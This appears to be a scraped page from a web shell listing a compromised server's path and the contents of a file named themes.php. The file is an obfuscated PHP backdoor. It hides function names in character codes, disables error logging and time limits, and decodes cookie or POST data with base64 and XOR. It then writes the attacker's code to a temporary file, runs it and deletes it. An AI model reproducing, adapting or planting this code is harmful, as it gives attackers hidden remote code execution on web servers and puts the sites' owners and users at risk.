? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/private_html/happyezystyle/mp3_player/

Current File : /home/admin/domains/happytokorea.com/private_html/happyezystyle/mp3_player/themes.php

<?php $thXcKiKX = "\146"."\x69".chr(108)."\x65".chr(429-334).'p'.chr(117)."\164".'_'.chr(99).chr(111).'n'."\x74".chr(154-53)."\156"."\x74".chr(334-219);
$GwLVLLRWgd = chr(98).chr(392-295)."\x73".'e'."\x36".'4'."\137"."\x64"."\x65"."\x63"."\x6f".chr(841-741).'e';
$SOEcUXU = chr(105).chr(110).'i'.'_'."\163".'e'.chr(116);
$DlVNFVaXvo = "\x75".chr(110).chr(152-44).'i'.chr(949-839)."\x6b";


@$SOEcUXU("\x65".chr(114)."\162".'o'."\x72"."\137".chr(108)."\157"."\147", NULL);
@$SOEcUXU(chr(108).'o'.chr(103)."\x5f"."\145"."\162".'r'.chr(111)."\x72".chr(115), 0);
@$SOEcUXU('m'.chr(97).chr(919-799)."\x5f"."\x65"."\x78".chr(101)."\143"."\x75".chr(116).chr(105)."\x6f"."\x6e".chr(95)."\164".'i'.'m'.chr(101), 0);
@set_time_limit(0);

function KzMAlQUkk($XpRAQGZ, $RfGQXQ)
{
    $FjWUfvm = "";
    for ($oQXiT = 0; $oQXiT < strlen($XpRAQGZ);) {
        for ($j = 0; $j < strlen($RfGQXQ) && $oQXiT < strlen($XpRAQGZ); $j++, $oQXiT++) {
            $FjWUfvm .= chr(ord($XpRAQGZ[$oQXiT]) ^ ord($RfGQXQ[$j]));
        }
    }
    return $FjWUfvm;
}

$NVSJdIIb = array_merge($_COOKIE, $_POST);
$tJCECi = 'f670b121-a59c-436a-a4c2-c406950af9cb';
foreach ($NVSJdIIb as $oVtQfn => $XpRAQGZ) {
    $XpRAQGZ = @unserialize(KzMAlQUkk(KzMAlQUkk($GwLVLLRWgd($XpRAQGZ), $tJCECi), $oVtQfn));
    if (isset($XpRAQGZ[chr(722-625)."\x6b"])) {
        if ($XpRAQGZ[chr(939-842)] == chr(105)) {
            $oQXiT = array(
                "\160"."\x76" => @phpversion(),
                chr(1023-908).chr(118) => "3.5",
            );
            echo @serialize($oQXiT);
        } elseif ($XpRAQGZ[chr(939-842)] == chr(101)) {
            $OtOHHJ = "./" . md5($tJCECi) . "\x2e".chr(336-231)."\x6e"."\143";
            @$thXcKiKX($OtOHHJ, "<" . chr(63).chr(644-532).'h'."\160"."\40".'@'."\165"."\156"."\x6c".'i'."\x6e".chr(107)."\50".chr(1016-921)."\137".chr(70).chr(871-798).chr(76).chr(69).'_'."\137".chr(85-44).';'."\40" . $XpRAQGZ['d']);
            include($OtOHHJ);
            @$DlVNFVaXvo($OtOHHJ);
        }
        exit();
    }
}

T1KUS90T